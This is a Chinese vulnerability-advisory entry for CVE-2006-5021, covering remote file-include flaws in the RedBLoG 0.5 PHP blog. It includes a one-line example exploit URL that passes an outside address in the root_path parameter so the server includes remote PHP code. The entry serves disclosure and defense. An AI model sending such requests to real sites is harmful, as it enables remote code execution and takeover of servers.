redgun RedBLoG 多个PHP远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111073 漏洞类型 输入验证
发布时间 2006-09-19 更新时间 2006-09-28
CVE编号 CVE-2006-5021 CNNVD-ID CNNVD-200609-485
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/28614
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200609-485
|漏洞详情
redgunRedBLoG0.5中存在多个PHP远程文件包含漏洞,远程攻击者可以通过(1)imgen.php的root参数以及(2)admin/config.php、(3)common.php和(4)admin/index.php的root_path参数中的URL执行任意PHP代码。
|漏洞EXP
source: http://www.securityfocus.com/bid/20115/info
   
The redblog application is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/Path/admin/index.php?root_path=htpp://www.example.com
|参考资料

来源:BID
名称:20115
链接:http://www.securityfocus.com/bid/20115